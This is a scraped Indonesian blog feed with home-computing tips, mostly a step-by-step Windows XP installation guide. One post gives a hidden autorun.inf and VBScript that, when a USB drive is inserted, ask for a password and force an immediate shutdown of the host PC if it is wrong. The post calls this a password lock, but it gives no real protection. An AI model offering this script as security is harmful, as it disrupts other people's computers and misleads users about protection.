/>http://www.kitaupload.com/download.php?file=762BBMS.exe<br /><br />5. Tambahan untuk mengembalikan setingan seperti semula.<br />- Unduh software dibawah ini<br />http://www.kitaupload.com/download.php?file=937Killer%20Machine.exe </div> <div class="post-footer-line post-footer-line-1"><span class="post-author vcard"> Diposkan oleh <span class="fn">Fery Hermawan</span> </span> <span class="post-timestamp"> di <a class="timestamp-link" href="http://feryhermawan.blogspot.com/2008/10/tips-mengembalikan-data-yang-hilang.html" rel="bookmark" title="permanent link"><abbr class="published" title="2008-10-15T22:49:00-07:00">22:49</abbr></a> </span><span class="post-comment-link"></span><span class="post-icons"><span class="item-action"><a href="email-post.g?blogID=2074149919218679463&postID=7802632686694198360" title="Posting Email"> </a></span><span class="item-control blog-admin pid-48782924"><a href="post-edit.g?blogID=2074149919218679463&postID=7802632686694198360" title="Edit Entri"> </a> </span> </span> <span class="post-backlinks post-comment-link"> </span> </div> <div class="post-footer-line post-footer-line-2"><span class="post-labels"> Label: <a href="http://feryhermawan.blogspot.com/search/label/Berbagi%20yuk..." rel="tag">Berbagi yuk...</a>, <a href="http://feryhermawan.blogspot.com/search/label/Cerita%20gw" rel="tag">Cerita gw</a>, <a href="http://feryhermawan.blogspot.com/search/label/Tips-tips" rel="tag">Tips-tips</a><br /><br />sumber : <a href="http://www.google.com">http://www.google.com</a><br /></span> </div>blog cendana comunityhttp://www.blogger.com/profile/08229217619025735389noreply@blogger.com0tag:blogger.com,1999:blog-8425775013310331176.post-48738723498810866342010-04-05T22:42:00.000-07:002010-04-07T19:04:40.174-07:00cara pasang pasword di flash disk<h1 class="post-title entry-title"> <a href="http://pedasmaniscinta.blogspot.com/2009/06/cara-mudah-memasang-password-di.html">Cara mudah Memasang Password di Flashdisk tanpa software</a> </h1> <p class="byline"> <span class="post-author vcard"> </span> <span class="post-timestamp"> </span></p> Banyak aplikasi yang dapat memberi manfaat untuk mengunci flashdisk atau memberi password otomatis ke flashdisk. Tetapi beda lagi dengan postingan kali ini . sebelumnya cara ini saya dapatkan dari seorang programmer yang hebat <a href="http://inside-and.blogspot.com/" target="_blank">http://inside-and.blogspot.com</a><br /><br /><span style="font-style: italic;">"Cara ini sangat mudah dan bermanfaat apalagi seperti saya bermain di warnet sebelah rumah yang pakai flashdisk harus di comokin dulu di komputer sever. jadi bahaya dong bisa dibuka dari client lainnya"</span><br /><br />Cara ini akan otomatis meminta password ketika flashdisk dimasukan ke PC dan jika password salah, maka komputer akan shutdown secara otomatis.<br />Langsung saja .<br /><br />1. Buka <span style="font-weight: bold;">Notepad</span><br />( Caranya : Start>>All Programs>>Accessories>>Notepad atau masuk di RUN lalu ketik <span style="color: rgb(51, 51, 255);">notepad</span>dan Enter) lalu copy paste script kode dibawah ini ke notepad<span id="fullpost"><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" ><br />on error goto 0</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >dim s,quest,sd,m,winpath,fs</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >set sd=createobject("Wscript.shell")</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >set fs=createobject("Scripting.FileSystemObject")</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >set winpath=fs.getspecialfolder(0)</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >set s=wscript.createobject("wscript.shell")</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >do while quest=""</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >quest=inputbox("<span style="font-weight: bold;">Masukkan PASSWORD, Jika anda salah dalam memasukkan password, maka komputer ini akan ShutDown!!!</span>","<span style="font-weight: bold;">http://pedasmaniscinta.blogspot.com</span>")</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >if quest="" then</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >m=MsgBox("<span style="font-weight: bold;">Maaf anda belum memasukkan password...!</span>", 0+0+48, "<span style="font-weight: bold;">http://pedasmaniscinta.blogspot.com</span>")</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >end if</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >loop</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >if quest="<span style="font-weight: bold; color: rgb(51, 51, 255);">TULIS PASSWORD DISINI</span>" then</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >s.run "shutdown -a"</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >sd.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >else</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >s.run "shutdown -s -t 0"</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >end if</span><br /><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" ><span style="font-weight: bold; color: rgb(51, 51, 255);">TULIS PASSWORD DISINI</span></span> ganti sesuai keinginan anda, itu adalah sebagai tempat password anda. Pemakaian huruf kapital sangat berpengaruh. saya sarankan memakai angka yang sudah diingat di luar kepala.<br />lalu save as dengan nama dengan "<span style="font-weight: bold;">passwordlock.vbs</span>" tanpa tanda kutip, sebelum di save as pastikan pilih all files.<br /><br />2. setelah selesai diatas.<br />lalu buka Notepad lagi, untuk pengaturan otomatis setelah flashdisk dimasukan di PC.<br />copy paste script kode dibawah ini ke notepad.<br /><br /><span style="color: rgb(255, 0, 0);">[Autorun]</span><br /><span style="color: rgb(255, 0, 0);">shellexecute=wscript.exe passwordlock.vbs</span><br /><span style="color: rgb(255, 0, 0);">action=FLASHDISK TELAH DILENGKAPI CODE</span><br /><br />anda dapat merubah kata "<span style="color: rgb(255, 0, 0);">FLASHDISK TELAH DILENGKAPI CODE</span>" sesuai kata-kata mutiara keinginan anda sendiri.<br />setelah itu lakukan penyimpanan seperti file yang pertama, tetapi pada bagian File name tulislah "<span style="font-weight: bold;">autorun.inf</span>" tanpa tanda kutip, sebelum di save as pastikan pilih all files.<br /><br />Kemudian pindahkan kedua file yang telah anda buat tadi (<span style="font-weight: bold;">autorun.inf</span> dan <span style="font-weight: bold;">passwordlock.vbs</span>) ke dalam flashdisk anda.<br /><br />langkah terakhir silahkan anda hidden <span style="font-weight: bold;">autorun.inf</span> dan <span style="font-weight: bold;">passwordlock.vbs</span> yang telah dibuat tadi.<br />Cara hidden : klik kanan pada masing- masing <span style="font-weight: bold;">autorun.inf</span> dan <span style="font-weight: bold;">passwordlock.vbs</span> lalu pilih properties centang kotak yang ada di tanda hidden. selesai . . . .<br /><br />@info<br />- kompitabel dengan win XP.<br />- dimohon jangan sampai lupa password sendiri<br /><br />sumber :<a href="http://google.com">www.google.com</a><br /></span>blog cendana comunityhttp://www.blogger.com/profile/08229217619025735389noreply@blogger.com0tag:blogger.com,1999:blog-8425775013310331176.post-18415265409966812132010-04-05T22:27:00.000-07:002010-04-05T22:33:18.778-07:00install windowsWindows XP adalah suatu sistem pengoperasian (operating system) yang paling banyak dipakai sampai saat ini karena selain kemudahan dalam pemakaiannya Windows XP digunakan sebagai standarisasi pembelajaran yang di pakai oleh sekolahan-sekolahan dan perguruan tinggi pada umumnya.<br /><br />Untuk melakukan penginstalan windows xp diperlukan ketelitian dan kesabaran dalam prosesnya karena memerlukan waktu yang lumayan lama.<br /><br />Ada beberapa jenis windows xp diantaranya windows xp professional, Home Edition, Media Center Edition, Tablet PC Edition, Starter Edition, Professional x64 Edition, Professional 64-bit Edition For Itanium.<br /><br />berikut langkah-langkah yang mudah dan lengkap cara menginstal windows xp :<br /><span style="color: rgb(255, 0, 0);"><br />1.</span> Siapkan CD WINDOWS XP<br /><span style="color: rgb(255, 0, 0);"><br />2.</span> Siapkan CD DRIVER MOTHERBOARD<br /><span style="color: rgb(255, 0, 0);"><br />3.</span> Atur bios terlebih dahulu agar prioritas bootingnya dimulai dari CD(DVD)-ROM, caranya:<br /><span style="color: rgb(0, 0, 153);"><br />a.</span> Masuk ke BIOS dengan menekan tombol Del, atau F1, atau juga F2.<br />Pilih menu Advanced Settings, kemudian carilah ‘Boot Priority’ atau yang sejenis.<br /><span style="color: rgb(0, 0, 153);"><br />b.</span> ubah pengaturanya, agar CDROM jadi urutan yang pertama kemungkinan pilihan ini ada 2 jenis<br /><br />* menu <span style="color: rgb(255, 0, 0);">‘First boot priority’, ‘Second boot priority’</span> dll: Aturlah <span style="color: rgb(255, 0, 0);">‘First boot </span><span style="color: rgb(255, 0, 0);">priority’ ke ‘CDROM’</span> dengan menekan tombol <span style="color: rgb(255, 0, 0);">PgDn/Pgup (Page Down/Up) atau +/-.</span><br />Atur juga <span style="color: rgb(255, 0, 0);">‘Second boot priority’nya ke HDD0/HDD1.</span><br />* Jika menunya <span style="color: rgb(255, 0, 0);">‘Boot priority’: atur ke ‘CDROM, C, A’ atau ‘CDROM, A,</span><br /><span style="color: rgb(0, 0, 153);"><br />C.</span> dengan menekan tombol <span style="color: rgb(255, 0, 0);">PgDn/Up</span>.<br /><br /><br /><div style="text-align: center;"><span style="font-weight: bold; color: rgb(0, 0, 153);">Cara paling mudah <a style="color: rgb(0, 0, 153);" href="http://adesyams.blogspot.com/2009/07/cara-instalasi-windows-xp.html">instal windows xp</a><br />(lengkap dengan gambar):</span><br /></div><br />gak usah di utak-atik biosnya. biarin aja bios diload masukin CD WINDOWSnya, lalu Restart komputer, trus tekan-tekan <span style="color: rgb(255, 0, 0);">F8 atau F10 atau F11</span> (boleh dicoba satu-satu) nanti bakal muncul opsi boot selection. pilih aja yg ada 'bau' cd-nya. trus enter. selesai deh...ga pake repot-repot...<br /><span style="color: rgb(255, 0, 0);"><br />4.</span> Tunggu beberapa saat sampai muncul tulisan "<span style="color: rgb(255, 0, 0);">press any key to boot from CD</span>" seperti tampilan Seperti gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAVg4sNsXugNWFeEa7RI_g31xr6Kgu5kbe_Qu6COpxAJFsmcAjH8PoCaf4pcE0x5nq0YcE9rOdis1RXnWUlTg7suO78AePFVE9Co01uIenyAO7CvxzLhr0-lUqc47zjyIRp9M_3PJyvJM/s1600-h/ade4.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAVg4sNsXugNWFeEa7RI_g31xr6Kgu5kbe_Qu6COpxAJFsmcAjH8PoCaf4pcE0x5nq0YcE9rOdis1RXnWUlTg7suO78AePFVE9Co01uIenyAO7CvxzLhr0-lUqc47zjyIRp9M_3PJyvJM/s320/ade4.jpg" alt="" id="BLOGGER_PHOTO_ID_5423120949281431698" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">5.</span> Tekan<span style="color: rgb(255, 0, 0);"> ENTER </span>atau sembarang tombol, lalu proses instalasi akan mengecek hardware komputer anda, kemudian akan muncul tulisan "<span style="color: rgb(255, 0, 0);">windows setup</span>" seperti gambar dibawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMVqukHBRvRAubudDgWbny-P5sr8FDHdm2NbC-u1QXks7ebARiycudZ01tlKFzTiXJejiFYgfHVLzUV7H8sOUsMKI2PPukKfcj-YVfrnZ52pa8NXIAgdO40ycncUE0BkCoW-YDiA-dqSY/s1600-h/ade5.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMVqukHBRvRAubudDgWbny-P5sr8FDHdm2NbC-u1QXks7ebARiycudZ01tlKFzTiXJejiFYgfHVLzUV7H8sOUsMKI2PPukKfcj-YVfrnZ52pa8NXIAgdO40ycncUE0BkCoW-YDiA-dqSY/s320/ade5.jpg" alt="" id="BLOGGER_PHOTO_ID_5423121365848400818" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">6.</span> lalu file-file di dalam cd akan di load ke dalam komputer, kemudian akan muncul tampilan "<span style="color: rgb(255, 0, 0);">welcome to setup</span>" seperti gambar dibawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXkTBUUpZDLIxFKbCFoe0P_UGcxx8KsBtH6I77F3_Sl-F2Dra6TJxGbbvVhpNjIQrazp62ZNc4TpPeLQe8OZa88SJyu_yziWneKO7DkRzwot4Sh7vjVKMD_5vDpb6bdOSjxDSLSjLdxJU/s1600-h/ade6.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXkTBUUpZDLIxFKbCFoe0P_UGcxx8KsBtH6I77F3_Sl-F2Dra6TJxGbbvVhpNjIQrazp62ZNc4TpPeLQe8OZa88SJyu_yziWneKO7DkRzwot4Sh7vjVKMD_5vDpb6bdOSjxDSLSjLdxJU/s320/ade6.jpg" alt="" id="BLOGGER_PHOTO_ID_5423121662181528578" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">7.</span> Tekan <span style="color: rgb(255, 0, 0);">"ENTER"</span> untuk menginstal windows xp, <span style="color: rgb(255, 0, 0);">"R"</span> untuk repair system windows yang sebelumnya pernah terinstal,<span style="color: rgb(255, 0, 0);"> "F3"</span> untuk keluar dari proses instalasi, lalu akan muncul (End User Licese Aggrement) seperti gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg80oAlUhdhSnLE5R084KgEoRuPTUVPcQXVmsWmFnDwsca7LokYRD4rFmfkcXdMdD2fX0n9n8P9XCGi_g8wo_wiZ52dwcnrruRktnoWBodbnIptJVKdaIVNQ00V73bx07_9kpZi8_KYxiE/s1600-h/ade7.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg80oAlUhdhSnLE5R084KgEoRuPTUVPcQXVmsWmFnDwsca7LokYRD4rFmfkcXdMdD2fX0n9n8P9XCGi_g8wo_wiZ52dwcnrruRktnoWBodbnIptJVKdaIVNQ00V73bx07_9kpZi8_KYxiE/s320/ade7.jpg" alt="" id="BLOGGER_PHOTO_ID_5423121925869170978" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">8.</span> Tekan <span style="color: rgb(255, 0, 0);">"F8"</span> kemudian proses instalasi akan mencari dan membaca partisi hardisk anda, kemudian akan muncul semua partisi hardisk anda, seperti gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2S-Usz9kLIKClr4mSTn4il5ztRGqw_KcrYO_w86g20uwz_BpdWFE_hzQIDDp1GcVB1t2bJguA0BIMD6OZQwkJdEXuDk-7nRpm6acBuv1FDVcPLG5MrkUSJvST2vf5pPwxELTQpuUu6is/s1600-h/ade8.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2S-Usz9kLIKClr4mSTn4il5ztRGqw_KcrYO_w86g20uwz_BpdWFE_hzQIDDp1GcVB1t2bJguA0BIMD6OZQwkJdEXuDk-7nRpm6acBuv1FDVcPLG5MrkUSJvST2vf5pPwxELTQpuUu6is/s320/ade8.jpg" alt="" id="BLOGGER_PHOTO_ID_5423123396793650626" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">9.</span> Tekan <span style="color: rgb(255, 0, 0);">"ENTER"</span> untuk langsung menginstal windows, <span style="color: rgb(255, 0, 0);">"C"</span> untuk membuat partisi hardisk anda, kapasitas partisi sesuai dengan kebutuhan anda, dalam satuan MB, selanjutnya jika anda membuat partisi dengan menekan tombol <span style="color: rgb(255, 0, 0);">"C"</span>, maka akan muncul gambar seperti di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlLeya3tjTu2g8VsU5msQTVDo74lCPi-zfU0A7OQBGoDow_z017ZTHnxSBIFtxr9r1tEyimaLksfNk_ZvxIJtDlcTPC1N0AufqUFiD3X7Snc_A6PnlZMCi3PD_sZlN2Tx2N96moZ0fwqw/s1600-h/ade9.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlLeya3tjTu2g8VsU5msQTVDo74lCPi-zfU0A7OQBGoDow_z017ZTHnxSBIFtxr9r1tEyimaLksfNk_ZvxIJtDlcTPC1N0AufqUFiD3X7Snc_A6PnlZMCi3PD_sZlN2Tx2N96moZ0fwqw/s320/ade9.jpg" alt="" id="BLOGGER_PHOTO_ID_5423123507219555490" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">10.</span> Kemudian tuliskan kapasitas partisi yang ingin anda buat, seperti terlihat pada gambar diatas, sebagai contoh, misalkan kapasitas hardisk anda <span style="color: rgb(255, 0, 0);">40 GB</span>, lalu anda ingin membagi dua, maka tuliskan<span style="color: rgb(255, 0, 0);"> 20000</span>,jangan <span style="color: rgb(255, 0, 0);">20</span>, karna partisi satuannya <span style="color: rgb(255, 0, 0);">MB</span>, tentunya anda mengerti kan...?? cat" <span style="color: rgb(255, 0, 0);">1GB = 1000 MB</span><br /><span style="color: rgb(255, 0, 0);"><br />11.</span> Kenudian tekan <span style="color: rgb(255, 0, 0);">"ENTER" </span>maka akan muncul gambar seperti dibawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgb5HrgJnmi0jb0TCY4yHScS_DQhtdCxBPmt1Ztxbio7_PjtQfQSyV7N-lTl6_aZcR5IDME76OUWVcgxCl8sNh3HQ_Wkdj4sMqc9OY9DW6BHq0Qmls9cz4x7jcBdkNUmEkiMpuW8y06o8/s1600-h/ade11.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgb5HrgJnmi0jb0TCY4yHScS_DQhtdCxBPmt1Ztxbio7_PjtQfQSyV7N-lTl6_aZcR5IDME76OUWVcgxCl8sNh3HQ_Wkdj4sMqc9OY9DW6BHq0Qmls9cz4x7jcBdkNUmEkiMpuW8y06o8/s320/ade11.jpg" alt="" id="BLOGGER_PHOTO_ID_5423123607548047362" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">12.</span> kemudian pilih<span style="color: rgb(255, 0, 0);"> "format the partition using the NTFS file system (Quick)"</span> atau <span style="color: rgb(255, 0, 0);">"format the partition using the NTFS file system (Quick)"</span> lalu tekan <span style="color: rgb(255, 0, 0);">"ENTER"</span> maka akan muncul layar sepert gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX1pBdDCkjlV0LbqG9MfGN8sD6jadu-ONw9DxlQZs4wiFMvDqwmJv3T7mRwj0gRP_fNUSQnyCA2_6xN__MDeJHYErBrbyh-0Ssc3I0c4pAHGLRrOEXgPNZIy1xb4lPwtXLxkd-2WrajS4/s1600-h/ade12.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX1pBdDCkjlV0LbqG9MfGN8sD6jadu-ONw9DxlQZs4wiFMvDqwmJv3T7mRwj0gRP_fNUSQnyCA2_6xN__MDeJHYErBrbyh-0Ssc3I0c4pAHGLRrOEXgPNZIy1xb4lPwtXLxkd-2WrajS4/s320/ade12.jpg" alt="" id="BLOGGER_PHOTO_ID_5423123698794770098" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">13.</span> Kemudian arahkan pointer pada posisi <span style="color: rgb(255, 0, 0);">"unpartitioned space"</span>, lalu tekan<span style="color: rgb(255, 0, 0);"> "C"</span> maka akan muncul gambar seperti gambar sebelumnya, dalam hal ini layar yang akan muncul seperti gambar sebelumnya menunjukan sisa partisi yang telah anda bagi, jika anda cuma membagi 2 partisi saja maka langsung tekan <span style="color: rgb(255, 0, 0);">"ENTER"</span> tapi jika anda ingin mempartisi lagi sisa hardisknya maka tinggal di bagi lagi aj, seperti langkah-langkah sebelumnya, mengertikan maksud saya....??<br />setelah selesai partisi ketika anda menekan <span style="color: rgb(255, 0, 0);">"ENTER"</span> seperti yang di jelaskan di atas, maka akan muncul gambar sperti gambar diatas, setelah itu arahkan poiter di posisi<span style="color: rgb(255, 0, 0);"> C: partition1 [New Raw]</span>, tapi biasanya sudah berada di posisi tersebut, maka anda tinggal menekan <span style="color: rgb(255, 0, 0);">"ENTER"</span> saja untuk proses instalasi windows, kemudian akan muncul proses format seperti gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh95Ni2rpflNckBzu6INl8AiQhlusFOVgnaWYAf0GnW3y1i-MzACSsc86v8SHUqMUW6demg6Uzzsw_36qVy1iWG3sVqIbq6ciC2nj0i_jaTgtSERwZu6a4aiFMWg_zjfFE9-OpExRPAw4o/s1600-h/ade13.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh95Ni2rpflNckBzu6INl8AiQhlusFOVgnaWYAf0GnW3y1i-MzACSsc86v8SHUqMUW6demg6Uzzsw_36qVy1iWG3sVqIbq6ciC2nj0i_jaTgtSERwZu6a4aiFMWg_zjfFE9-OpExRPAw4o/s320/ade13.jpg" alt="" id="BLOGGER_PHOTO_ID_5423123786533852050" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">14.</span> Setelah selesai format, kemudian windows akan ,menyalin file untuk proses instalasi, seperti gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlmnfQpj0oPjGOPRcy7LsKDp1TNNeEdCXKFAqJIgvZ1hB7pjeloYM5ofyRTZm-86-lxclGp1KmqYQoJWxhuYeyuWKVwuxfge7ZHPH5XQtGshUw_9Xt6UOVa05mpN36gqoXSehwT8iSUlU/s1600-h/ade14.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlmnfQpj0oPjGOPRcy7LsKDp1TNNeEdCXKFAqJIgvZ1hB7pjeloYM5ofyRTZm-86-lxclGp1KmqYQoJWxhuYeyuWKVwuxfge7ZHPH5XQtGshUw_9Xt6UOVa05mpN36gqoXSehwT8iSUlU/s320/ade14.jpg" alt="" id="BLOGGER_PHOTO_ID_5423123862622561042" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">15.</span> Setelah proses penyalinan selesai, secara otomatis komputer akan melakukan restart seperti gambar di bawah ini, dalam hal ini untuk mempercepat proses restart, anda bisa langsung menekan<span style="color: rgb(255, 0, 0);"> "ENTER"</span><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOy4N2_m9yZIFQhjUsBYGabRC6cX1oM3tmb9FE1rn_1oybzu1GyNe87FV1uJ9i01a8U5wp_PezNOSKXvwElefLyA3i1RVF9COYMkKgD_XJg1-CihNokjcaIOe8zefO1Rn47aVKv0teCeY/s1600-h/ade15.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOy4N2_m9yZIFQhjUsBYGabRC6cX1oM3tmb9FE1rn_1oybzu1GyNe87FV1uJ9i01a8U5wp_PezNOSKXvwElefLyA3i1RVF9COYMkKgD_XJg1-CihNokjcaIOe8zefO1Rn47aVKv0teCeY/s320/ade15.jpg" alt="" id="BLOGGER_PHOTO_ID_5423123972959300562" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">16.</span> Setelah itu akan muncul loading windows seperti gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEir0_eRwDy9mzNAE598it1TgREfbcT6T2br_o1oa4UqDsPmbh4dxZGJi_gCRT1AT8gYjaDMOOFhnSa_i2JKgjxPJ7t7Kz5SX6dYg88A4ijsP5tukb2erOt3BKWE4Olad1QnscWCLKSVmCw/s1600-h/ade16.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEir0_eRwDy9mzNAE598it1TgREfbcT6T2br_o1oa4UqDsPmbh4dxZGJi_gCRT1AT8gYjaDMOOFhnSa_i2JKgjxPJ7t7Kz5SX6dYg88A4ijsP5tukb2erOt3BKWE4Olad1QnscWCLKSVmCw/s320/ade16.jpg" alt="" id="BLOGGER_PHOTO_ID_5423124049222962210" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">17.</span> selanjutnya proses instalasi windows di mulai <span style="color: rgb(255, 0, 0);">1..<span style="color: rgb(51, 255, 51);">2..</span><span style="color: rgb(51, 51, 255);">3...</span><span style="color: rgb(51, 255, 51);"></span></span><span style="color: rgb(255, 0, 0);"><span style="color: rgb(51, 255, 51);">G</span></span><span style="color: rgb(255, 0, 0);"><span style="color: rgb(51, 102, 255);">Oo</span>oo<span style="color: rgb(255, 255, 51);">o</span></span> muncul layar seperti gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpgAfflaU6NZ2LdYBbfi_RMxuymvwMFC7Qc5aHoxu26ymlLnYH9ZD3VBIpl1mxmRUvw-DIPMFdDTpzl5YnRaPFL1e6TWVXtMFvvkypBLs4OL6UIneCDkDG30IkJgQMH7MtkZJMBViD6OU/s1600-h/ade17.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpgAfflaU6NZ2LdYBbfi_RMxuymvwMFC7Qc5aHoxu26ymlLnYH9ZD3VBIpl1mxmRUvw-DIPMFdDTpzl5YnRaPFL1e6TWVXtMFvvkypBLs4OL6UIneCDkDG30IkJgQMH7MtkZJMBViD6OU/s320/ade17.jpg" alt="" id="BLOGGER_PHOTO_ID_5423124135502443906" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">18.</span> selanjutnya tinggal menunggu, sambil ngopi jg bisa, biar lebih terinspirasi, eitssss, tp jangan kemana mana dulu, karna selanjutnya akan muncul layar seperti gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWrqoSpu8ksnx-5DnHEkZ2XgqTOlr3KgXqvMJETNUrcyFeRnahMFvPV8Ik2No5q8Ig9NnOQhBUWe6n2M8m9XrUZsqdTmfVzz96bz73pU1QWEIw5_QJtCzvVEf_vPUOAGz_G_JxsV4BSvE/s1600-h/ade18.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWrqoSpu8ksnx-5DnHEkZ2XgqTOlr3KgXqvMJETNUrcyFeRnahMFvPV8Ik2No5q8Ig9NnOQhBUWe6n2M8m9XrUZsqdTmfVzz96bz73pU1QWEIw5_QJtCzvVEf_vPUOAGz_G_JxsV4BSvE/s320/ade18.jpg" alt="" id="BLOGGER_PHOTO_ID_5423124204503012786" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">19.</span> Langsung klik <span style="color: rgb(255, 0, 0);">"NEXT"</span> aja BOS...!!! lalu mucul lagi bos layar seperti gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPP2eOSb_Wl4smM4_PikhEhGKmuUIlYjz-GYDeFXWYXSny_8f0RO6vifbI69TTdBUzumEa-R7KwMngeb-RT6a7635yaBI9KxyXhga1ZK3Fvm4LLKiI5hi5jhWlCnYyyg8wUI44f474Fi8/s1600-h/ade19.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPP2eOSb_Wl4smM4_PikhEhGKmuUIlYjz-GYDeFXWYXSny_8f0RO6vifbI69TTdBUzumEa-R7KwMngeb-RT6a7635yaBI9KxyXhga1ZK3Fvm4LLKiI5hi5jhWlCnYyyg8wUI44f474Fi8/s320/ade19.jpg" alt="" id="BLOGGER_PHOTO_ID_5423124298268316786" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">20.</span> Isi nama dan organisasinya, terserah BOS 